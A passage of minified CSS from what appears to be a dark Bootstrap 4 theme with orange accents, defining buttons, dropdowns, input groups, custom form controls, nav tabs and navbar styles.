rgba(91,192,222,0.5)}.btn-info.disabled,.btn-info:disabled{color:#212529;background-color:#5bc0de;border-color:#5bc0de}.btn-info:not(:disabled):not(.disabled):active,.btn-info:not(:disabled):not(.disabled).active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#31b0d5;border-color:#2aaacf}.btn-info:not(:disabled):not(.disabled):active:focus,.btn-info:not(:disabled):not(.disabled).active:focus,.show>.btn-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(91,192,222,0.5);box-shadow:0 0 0 0.2rem rgba(91,192,222,0.5)}.btn-warning{color:#212529;background-color:#f0ad4e;border-color:#f0ad4e}.btn-warning:hover{color:#212529;background-color:#ed9d2b;border-color:#ec971f}.btn-warning:focus,.btn-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(240,173,78,0.5);box-shadow:0 0 0 0.2rem rgba(240,173,78,0.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#f0ad4e;border-color:#f0ad4e}.btn-warning:not(:disabled):not(.disabled):active,.btn-warning:not(:disabled):not(.disabled).active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#ec971f;border-color:#ea9214}.btn-warning:not(:disabled):not(.disabled):active:focus,.btn-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(240,173,78,0.5);box-shadow:0 0 0 0.2rem rgba(240,173,78,0.5)}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d9534f}.btn-danger:hover{color:#fff;background-color:#d23430;border-color:#c9302c}.btn-danger:focus,.btn-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(217,83,79,0.5);box-shadow:0 0 0 0.2rem rgba(217,83,79,0.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#d9534f;border-color:#d9534f}.btn-danger:not(:disabled):not(.disabled):active,.btn-danger:not(:disabled):not(.disabled).active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#c9302c;border-color:#bf2e29}.btn-danger:not(:disabled):not(.disabled):active:focus,.btn-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(217,83,79,0.5);box-shadow:0 0 0 0.2rem rgba(217,83,79,0.5)}.btn-light{color:#212529;background-color:#8d9dad;border-color:#8d9dad}.btn-light:hover{color:#fff;background-color:#778a9d;border-color:#6f8397}.btn-light:focus,.btn-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(141,157,173,0.5);box-shadow:0 0 0 0.2rem rgba(141,157,173,0.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#8d9dad;border-color:#8d9dad}.btn-light:not(:disabled):not(.disabled):active,.btn-light:not(:disabled):not(.disabled).active,.show>.btn-light.dropdown-toggle{color:#fff;background-color:#6f8397;border-color:#697d91}.btn-light:not(:disabled):not(.disabled):active:focus,.btn-light:not(:disabled):not(.disabled).active:focus,.show>.btn-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(141,157,173,0.5);box-shadow:0 0 0 0.2rem rgba(141,157,173,0.5)}.btn-dark{color:#fff;background-color:#4E5D6C;border-color:#4E5D6C}.btn-dark:hover{color:#fff;background-color:#3e4a56;border-color:#39444e}.btn-dark:focus,.btn-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5);box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#4E5D6C;border-color:#4E5D6C}.btn-dark:not(:disabled):not(.disabled):active,.btn-dark:not(:disabled):not(.disabled).active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#39444e;border-color:#333d47}.btn-dark:not(:disabled):not(.disabled):active:focus,.btn-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5);box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5)}.btn-outline-primary{color:#DF691A;background-color:transparent;background-image:none;border-color:#DF691A}.btn-outline-primary:hover{color:#fff;background-color:#DF691A;border-color:#DF691A}.btn-outline-primary:focus,.btn-outline-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(223,105,26,0.5);box-shadow:0 0 0 0.2rem rgba(223,105,26,0.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#DF691A;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled):active,.btn-outline-primary:not(:disabled):not(.disabled).active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#DF691A;border-color:#DF691A}.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(223,105,26,0.5);box-shadow:0 0 0 0.2rem rgba(223,105,26,0.5)}.btn-outline-secondary{color:#4E5D6C;background-color:transparent;background-image:none;border-color:#4E5D6C}.btn-outline-secondary:hover{color:#fff;background-color:#4E5D6C;border-color:#4E5D6C}.btn-outline-secondary:focus,.btn-outline-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5);box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#4E5D6C;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled):active,.btn-outline-secondary:not(:disabled):not(.disabled).active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#4E5D6C;border-color:#4E5D6C}.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5);box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5)}.btn-outline-success{color:#5cb85c;background-color:transparent;background-image:none;border-color:#5cb85c}.btn-outline-success:hover{color:#fff;background-color:#5cb85c;border-color:#5cb85c}.btn-outline-success:focus,.btn-outline-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(92,184,92,0.5);box-shadow:0 0 0 0.2rem rgba(92,184,92,0.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#5cb85c;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled):active,.btn-outline-success:not(:disabled):not(.disabled).active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#5cb85c;border-color:#5cb85c}.btn-outline-success:not(:disabled):not(.disabled):active:focus,.btn-outline-success:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(92,184,92,0.5);box-shadow:0 0 0 0.2rem rgba(92,184,92,0.5)}.btn-outline-info{color:#5bc0de;background-color:transparent;background-image:none;border-color:#5bc0de}.btn-outline-info:hover{color:#212529;background-color:#5bc0de;border-color:#5bc0de}.btn-outline-info:focus,.btn-outline-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(91,192,222,0.5);box-shadow:0 0 0 0.2rem rgba(91,192,222,0.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#5bc0de;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled):active,.btn-outline-info:not(:disabled):not(.disabled).active,.show>.btn-outline-info.dropdown-toggle{color:#212529;background-color:#5bc0de;border-color:#5bc0de}.btn-outline-info:not(:disabled):not(.disabled):active:focus,.btn-outline-info:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(91,192,222,0.5);box-shadow:0 0 0 0.2rem rgba(91,192,222,0.5)}.btn-outline-warning{color:#f0ad4e;background-color:transparent;background-image:none;border-color:#f0ad4e}.btn-outline-warning:hover{color:#212529;background-color:#f0ad4e;border-color:#f0ad4e}.btn-outline-warning:focus,.btn-outline-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(240,173,78,0.5);box-shadow:0 0 0 0.2rem rgba(240,173,78,0.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#f0ad4e;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled):active,.btn-outline-warning:not(:disabled):not(.disabled).active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#f0ad4e;border-color:#f0ad4e}.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(240,173,78,0.5);box-shadow:0 0 0 0.2rem rgba(240,173,78,0.5)}.btn-outline-danger{color:#d9534f;background-color:transparent;background-image:none;border-color:#d9534f}.btn-outline-danger:hover{color:#fff;background-color:#d9534f;border-color:#d9534f}.btn-outline-danger:focus,.btn-outline-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(217,83,79,0.5);box-shadow:0 0 0 0.2rem rgba(217,83,79,0.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#d9534f;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled):active,.btn-outline-danger:not(:disabled):not(.disabled).active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#d9534f;border-color:#d9534f}.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(217,83,79,0.5);box-shadow:0 0 0 0.2rem rgba(217,83,79,0.5)}.btn-outline-light{color:#8d9dad;background-color:transparent;background-image:none;border-color:#8d9dad}.btn-outline-light:hover{color:#212529;background-color:#8d9dad;border-color:#8d9dad}.btn-outline-light:focus,.btn-outline-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(141,157,173,0.5);box-shadow:0 0 0 0.2rem rgba(141,157,173,0.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#8d9dad;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled):active,.btn-outline-light:not(:disabled):not(.disabled).active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#8d9dad;border-color:#8d9dad}.btn-outline-light:not(:disabled):not(.disabled):active:focus,.btn-outline-light:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(141,157,173,0.5);box-shadow:0 0 0 0.2rem rgba(141,157,173,0.5)}.btn-outline-dark{color:#4E5D6C;background-color:transparent;background-image:none;border-color:#4E5D6C}.btn-outline-dark:hover{color:#fff;background-color:#4E5D6C;border-color:#4E5D6C}.btn-outline-dark:focus,.btn-outline-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5);box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#4E5D6C;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled):active,.btn-outline-dark:not(:disabled):not(.disabled).active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#4E5D6C;border-color:#4E5D6C}.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5);box-shadow:0 0 0 0.2rem rgba(78,93,108,0.5)}.btn-link{font-weight:400;color:#DF691A;background-color:transparent}.btn-link:hover{color:#9a4912;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link:focus,.btn-link.focus{text-decoration:underline;border-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link:disabled,.btn-link.disabled{color:#868e96}.btn-lg,.btn-group-lg>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0}.btn-sm,.btn-group-sm>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:0.5rem}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.show{opacity:1}.collapse{display:none}.collapse.show{display:block}tr.collapse.show{display:table-row}tbody.collapse.show{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;transition:height 0.35s ease}.dropup,.dropdown{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid;border-right:0.3em solid transparent;border-bottom:0;border-left:0.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:0.5rem 0;margin:0.125rem 0 0;font-size:1rem;color:#EBEBEB;text-align:left;list-style:none;background-color:#4E5D6C;background-clip:padding-box;border:1px solid rgba(0,0,0,0.15);border-radius:0}.dropup .dropdown-menu{margin-top:0;margin-bottom:0.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0;border-right:0.3em solid transparent;border-bottom:0.3em solid;border-left:0.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{margin-top:0;margin-left:0.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-bottom:0.3em solid transparent;border-left:0.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{margin-top:0;margin-right:0.125rem}.dropleft .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-right:0.3em solid;border-bottom:0.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:0.5rem 0;overflow:hidden;border-top:1px solid rgba(0,0,0,0.15)}.dropdown-item{display:block;width:100%;padding:0.25rem 1.5rem;clear:both;font-weight:400;color:#EBEBEB;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:hover,.dropdown-item:focus{color:#EBEBEB;text-decoration:none;background-color:rgba(255,255,255,0.075)}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#DF691A}.dropdown-item.disabled,.dropdown-item:disabled{color:#868e96;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:0.5rem 1.5rem;margin-bottom:0;font-size:0.875rem;color:#868e96;white-space:nowrap}.btn-group,.btn-group-vertical{position:relative;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover{z-index:1}.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn.active{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:not(:last-child):not(.dropdown-toggle),.btn-group>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:not(:first-child),.btn-group>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:0.5625rem;padding-left:0.5625rem}.dropdown-toggle-split::after{margin-left:0}.btn-sm+.dropdown-toggle-split,.btn-group-sm>.btn+.dropdown-toggle-split{padding-right:0.375rem;padding-left:0.375rem}.btn-lg+.dropdown-toggle-split,.btn-group-lg>.btn+.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.btn-group-vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle),.btn-group-vertical>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:not(:first-child),.btn-group-vertical>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type="radio"],.btn-group-toggle>.btn input[type="checkbox"],.btn-group-toggle>.btn-group>.btn input[type="radio"],.btn-group-toggle>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.custom-select,.input-group>.custom-file{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.form-control:focus,.input-group>.custom-select:focus,.input-group>.custom-file:focus{z-index:3}.input-group>.form-control+.form-control,.input-group>.form-control+.custom-select,.input-group>.form-control+.custom-file,.input-group>.custom-select+.form-control,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.custom-file,.input-group>.custom-file+.form-control,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.custom-file{margin-left:-1px}.input-group>.form-control:not(:last-child),.input-group>.custom-select:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.form-control:not(:first-child),.input-group>.custom-select:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::before{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label,.input-group>.custom-file:not(:first-child) .custom-file-label::before{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-prepend,.input-group-append{display:-webkit-box;display:-ms-flexbox;display:flex}.input-group-prepend .btn,.input-group-append .btn{position:relative;z-index:2}.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.input-group-text,.input-group-append .input-group-text+.btn{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0.375rem 0.75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#ced4da;text-align:center;white-space:nowrap;background-color:#4E5D6C;border:1px solid #ced4da;border-radius:0}.input-group-text input[type="radio"],.input-group-text input[type="checkbox"]{margin-top:0}.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text,.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked ~ .custom-control-label::before{color:#fff;background-color:#DF691A}.custom-control-input:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #2B3E50,0 0 0 0.2rem rgba(223,105,26,0.25);box-shadow:0 0 0 1px #2B3E50,0 0 0 0.2rem rgba(223,105,26,0.25)}.custom-control-input:active ~ .custom-control-label::before{color:#fff;background-color:#f6cfb5}.custom-control-input:disabled ~ .custom-control-label{color:#868e96}.custom-control-input:disabled ~ .custom-control-label::before{background-color:#4E5D6C}.custom-control-label{margin-bottom:0}.custom-control-label::before{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:0}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before{background-color:#DF691A}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before{background-color:#DF691A}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(223,105,26,0.5)}.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before{background-color:rgba(223,105,26,0.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked ~ .custom-control-label::before{background-color:#DF691A}.custom-radio .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(223,105,26,0.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 2px);padding:0.375rem 1.75rem 0.375rem 0.75rem;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center;background-size:8px 10px;border:1px solid #ced4da;border-radius:0;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#f1b287;outline:0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(241,178,135,0.5);box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(241,178,135,0.5)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:0.75rem;background-image:none}.custom-select:disabled{color:#868e96;background-color:#4E5D6C}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.8125rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:75%}.custom-select-lg{height:calc(2.875rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.25rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus ~ .custom-file-control{border-color:#f1b287;-webkit-box-shadow:0 0 0 0.2rem rgba(223,105,26,0.25);box-shadow:0 0 0 0.2rem rgba(223,105,26,0.25)}.custom-file-input:focus ~ .custom-file-control::before{border-color:#f1b287}.custom-file-input:lang(en) ~ .custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 2px);padding:0.375rem 0.75rem;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:0}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(calc(2.25rem + 2px) - 1px * 2);padding:0.375rem 0.75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#4E5D6C;border-left:1px solid #ced4da;border-radius:0 0 0 0}.nav{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:0.5rem 1rem}.nav-link:hover,.nav-link:focus{text-decoration:none}.nav-link.disabled{color:rgba(255,255,255,0.4)}.nav-tabs{border-bottom:1px solid #4E5D6C}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:0;border-top-right-radius:0}.nav-tabs .nav-link:hover,.nav-tabs .nav-link:focus{border-color:#4E5D6C #4E5D6C #4E5D6C}.nav-tabs .nav-link.disabled{color:rgba(255,255,255,0.4);background-color:transparent;border-color:transparent}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#EBEBEB;background-color:#2B3E50;border-color:#4E5D6C}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:0}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#DF691A}.nav-fill .nav-item{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:0.25rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:0.3125rem;padding-bottom:0.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-nav{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:0.5rem;padding-bottom:0.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:0.25rem 0.75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:0}.navbar-toggler:hover,.navbar-toggler:focus{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width: 575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 576px){.navbar-expand-sm{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-sm .navbar-nav 